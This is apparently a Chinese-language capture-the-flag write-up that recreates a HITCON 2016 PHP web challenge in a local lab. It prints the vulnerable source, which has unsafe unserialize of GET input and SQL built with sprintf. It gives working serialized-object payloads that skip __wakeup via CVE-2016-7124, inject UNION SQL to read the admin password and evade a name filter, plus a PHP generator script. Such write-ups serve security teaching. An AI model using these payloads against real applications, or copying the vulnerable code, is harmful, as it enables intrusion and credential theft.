還原HITCON 2016一道web題(php反序列化漏洞)
實驗環境搭建:PHPstudy,火狐(backbar),notepad++;
本人在還原此題目時,因為mysql資料庫使用者名稱密碼和方便除錯等原因對原始碼的一些引數做了一些相應的改動,但是沒有改變主要程式碼。
config.php:
<?php $db_host = '127.0.0.1'; $db_name = 'Test'; $db_user = 'root'; $db_pass = 'sa123123'; $DEBUG = @$_GET['get']; $FLAG = "HITCON{php 4nd mysq1 are s0 mag1c, isn't it?}"; ?>
ctf-php-unserialize.php:(這個名字可以隨便起,自己開心就好)
<?php include "config.php"; class HITCON{ private $method; private $args; private $conn; public function __construct($method, $args) { $this->method = $method; $this->args = $args; $this->__conn(); } function show() { list($username) = func_get_args(); $sql = sprintf("SELECT * FROM users WHERE username='%s'", $username); $obj = $this->__query($sql); if ( $obj != false ) { $this->__die( sprintf("%s is %s", $obj->username, $obj->role) ); } else { $this->__die("Nobody Nobody But You!"); } } function login() { global $FLAG; list($username, $password) = func_get_args(); $username = strtolower(trim(mysql_escape_string($username))); $password = strtolower(trim(mysql_escape_string($password))); $sql = sprintf("SELECT * FROM users WHERE username='%s' AND password='%s'", $username, $password); if ( $username == 'orange' || stripos($sql, 'orange') != false ) { //特殊字元Ã繞過; $this->__die("Orange is so shy. He do not want to see you."); } $obj = $this->__query($sql); if ( $obj != false && $obj->role == 'admin' ) { $this->__die("Hi, Orange! Here is your flag: " . $FLAG); } else { $this->__die("Admin only!"); } } function source() { highlight_file(__FILE__); } function __conn() { global $db_host, $db_name, $db_user, $db_pass, $DEBUG; if (!$this->conn) $this->conn = mysql_connect($db_host, $db_user, $db_pass); mysql_select_db($db_name, $this->conn); if ($DEBUG) { $sql = "CREATE TABLE IF NOT EXISTS users ( username VARCHAR(64), password VARCHAR(64), role VARCHAR(64) ) CHARACTER SET utf8"; $this->__query($sql, $back=false); $sql = "INSERT INTO users VALUES ('orange', '$db_pass', 'admin'), ('phddaa', 'ddaa', 'user')"; $this->__query($sql, $back=false); } mysql_query("SET names utf8"); //使用utf8編碼方式 mysql_query("SET sql_mode = 'strict_all_tables'"); } function __query($sql, $back=true) { $result = @mysql_query($sql); if ($back) { return @mysql_fetch_object($result); } } function __die($msg) { $this->__close(); header("Content-Type: application/json"); die( json_encode( array("msg"=> $msg) ) ); } function __close() { mysql_close($this->conn); } function __destruct() { $this->__conn(); //將資料寫入資料庫; if (in_array($this->method, array("show", "login", "source"))) { @call_user_func_array(array($this, $this->method), $this->args); } else { $this->__die("What do you do?"); } $this->__close(); } function __wakeup() { foreach($this->args as $k => $v) { $this->args[$k] = strtolower(trim(mysql_escape_string($v))); } } } if(isset($_GET["data"])) { //偵測有無data的get獲取; @unserialize($_GET["data"]); //跳過 __wakeup()函式;呼叫解構函式 } else { new HITCON("source", array()); } ?>
環境搭建完成後執行:
通過審計原始碼可以看出需要兩個get資料:get,data;
當get為真可以將資料寫入資料庫,data需要構造序列化資料來獲取flag;
第一個構造(mysql資料庫注入獲取orange使用者的資料庫密碼):
O:6:"HITCON":3:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla' union select password,username,role from users where username='orange' -- ";}}
第二個構造(使用第一個構造獲取的密碼獲拿到flag):
O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:7:"orÃnge";i:1;s:8:"sa123123";}}
主要的點:
1.當字串為private型別時,序列化時生成的序列化字串中類名前後會有0×00,url編碼下為%00。如果不加的話,會得到結果{"msg":"What do you do?"}。
2.類中有魔術方法__wakeup,其中函式會對我們的輸入進行過濾、轉義。所以需要利用谷歌發現的CVE-2016-7124漏洞(當序列化字串中,如果表示物件屬性個數的值大於真實的屬性個數時就會跳過__wakeup的執行,參考官方文件:https://bugs.php.net/bug.php?id=72663)。
O:6:"HITCON":2:{s:14:"%00HITCON%00method";s:4:"show";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla' union select password,username,role from users where username='orange' -- ";}}
如果這樣注入就不能跳過__wakeup()函式,會得到結果{"msg":"Nobody Nobody But You!"};
3.在解構函式中有一個判斷 if (in_array($this->method, array("show", "login", "source")))如果method不是裡面的資料就會導致被過濾。
O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:3:"abc";s:12:"%00HITCON%00args";a:1:{i:0;s:79:"bla' union select password,username,role from users where username='orange' -- ";}}
如果這樣注入會得到結果:{"msg":"What do you do?"};
4. 在login()函式中有判斷if ( $username == 'orange' || stripos($sql, 'orange') != false )如果username=orange時就會被過濾,此處可以利用的字母Ą、Ã,實現繞過,注意 s:6:"orAnge" ,改為s:7:"orÃnge"。
O:6:"HITCON":4:{s:14:"%00HITCON%00method";s:5:"login";s:12:"%00HITCON%00args";a:2:{i:0;s:6:"orange";i:1;s:8:"sa123123";}}
如果這樣注入會得到結果:{"msg":"Orange is so shy. He do not want to see you."};
序列化怎麼快速構造出來?看完上面的部分在看這個生成序列化的利用指令碼應該很簡單了:
<?php
class HITCON{
private $method;
private $args;
public function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
}
$_method="show";
$_args=array("bla' union select password,username,role from users where username='orange' -- ");
$Instantiation=new HITCON($_method,$_args);
echo serialize($Instantiation)."</br>";
$Instantiation=null;
$_method="login";
$_args=array("orÃnge","sa123123");
$Instantiation=new HITCON($_method,$_args);
echo serialize($Instantiation)."</br>";
$Instantiation=null;
?>
注:剛開始使用了IE瀏覽器,結果在特殊字元繞過的時候,連線資料庫查詢的時候總是得不到flag一直得到{"msg":"Admin only!"};但是使用火狐就沒有這個問題,還有考慮到火狐有hackbar外掛,進行get注入時方便不少。